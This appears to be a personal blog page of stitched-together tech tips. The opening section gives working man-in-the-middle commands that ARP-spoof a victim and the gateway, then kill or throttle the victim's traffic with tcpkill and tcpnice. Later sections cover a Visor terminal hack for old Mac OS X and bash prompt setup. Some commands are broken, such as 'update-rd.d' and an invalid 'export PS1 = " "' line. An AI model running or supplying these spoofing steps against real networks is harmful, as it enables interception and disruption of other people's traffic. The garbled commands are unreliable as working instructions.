To arpspoof, turn on IP forwarding:

echo 1 > /proc/sys/net/ipv4/ip_forward

with Linux (might need su) or more permanently,

net.ipv4.ip_forward = 1

in /etc/sysctl.conf

In BSD/Mac OS X,

sysctl -w net.inet.ip.forwarding=1

or

net.inet.ip.forwarding = 1

in /etc/sysctl.conf

Alternatively, you can also use fragrouter to forward packets with

fragrouter -B1

Then to arpspoof

arpspoof -t [victim ip] [gateway ip]

arpspoof -t [gateway ip] [victim ip]

Optionally, add

& > /dev/null

to get rid of output. Trust me, there’s nothing interesting.

To block sites/ports:

tcpkill -9 host www.facebook.com or port 5432

To slow down traffic:

tcpnice net 10.0.0.2 or port 5432

Filter expressions are here

The easiest way to detect this spoofing is to ping something outside your gateway and look for redirects

sudo update-rc.d -f apache2 remove
sudo update-rc.d -f postgresql-8.3 remove
sudo update-rd.d -f dhcp3-server remove

This way, you can go on doing your thing without anything that leaves you open

Visor Terminal

The drop-down Quake-style terminal window is extremely convenient to run commands without disrupting the current workflow. Unfortunately the default install is very messy. It needs an open terminal program running in the background which can’t be closed and takes up valuable Dock space.

Then comes a blog from David Zülke who solved the problem with a hack which essentially creates a second terminal program, links the visor extension to it and makes that second terminal always invisible and not appearing in the Dock by playing with the Info.plist file. The world was beautiful until I bought a new Macbook and tried to reinstall Visor but only to find out that his instructions are no longer hosted. So here are the instructions again for those who want a Perfect Visor. This is for version 1.5 – 2.2 which runs on Leopard – Snow Leopard.

1. Install SIMBL
2. This is not necessary but it’s a lot easier if you have XCode to use its .plist editor tool.
3. Right-click the extracted “Visor” file, select “Show Package Contents” and double-click “Info.plist” in the “Contents” folder[1]. Go to Root, SIMBLTargetApplications, 0 and change BundleIdentifier to “com.apple.VisorTerminal”. Save and close. You can now install the bundle according to the Visor install instructions (i.e. move it to ~/Library/Application Support/SIMBL/Plugins or the “global” equivalent in /Library).
4. Go to your Applications/Utilities folder and duplicate Terminal. Rename the copy to “VisorTerminal”, then right-click it and choose “Show Package Contents”, and double-click “Info.plist” in the “Contents” folder. Go to Root and change CFBundleIdentifier to “com.apple.VisorTerminal”. Save and close.
5. Start VisorTerminal. Go to Terminal menu and click Visor Preferences. Customize it to your suiting.
6. Make it run on start up. You can right click the VisorTerminal on Dock and choose “Open at Login”
7. Make it invisible. Right-click the VisorTerminal, choose “Show Package contents” and double-click Info.plist in the Contents folder. Add a new Sibling inside the root element called LSUIElement, it must be of type “Number” and have the value “1″ (without the quotes, of course). Save and quit.
8. Done and done! Now the Visor will start on startup and won’t show up anywhere until you press the hotkey.  If you don’t like your previous preferences, you can’t right click or use menu anymore but pressing cmd-, will bring up the preferences window for the terminal

Currently, there’s a bug with SIMBL 0.97 that causes the application to stop using SIMBL when LSUIElement is set to 1. To solve this issue, use AppleScript with the following command:

tell application "VisorTerminal"
	inject SIMBL into Snow Leopard
	activate
end tell

Then save the script as a .app in a desired location. Make this run at startup instead of VisorTerminal.

The next steps are optional but your default Darwin terminal prompt  looks like shit. Here’s how to customize it.

1. Press your hotkey or open Terminal
2. Go to your home directory

   cd ~

   You are there by default

3. Change your profile file

   mate .bash_profile

   TextMate is my favorite editor. If you don’t use it, use nano instead of mate

4. Type

   export PS1 = " "

   And customize your prompt with the following keywords between the quotes

   • \d – Current date
   • \t – Current time
   • \h – Host name
   • \# – Command number
   • \u – User name
   • \W – Current working directory (ie: Desktop/)
   • \w – Current working directory, full path (ie: /Users/Admin/Desktop)

   ie.

   export PS1="\u@\h\w: "

5. Save and restart your terminal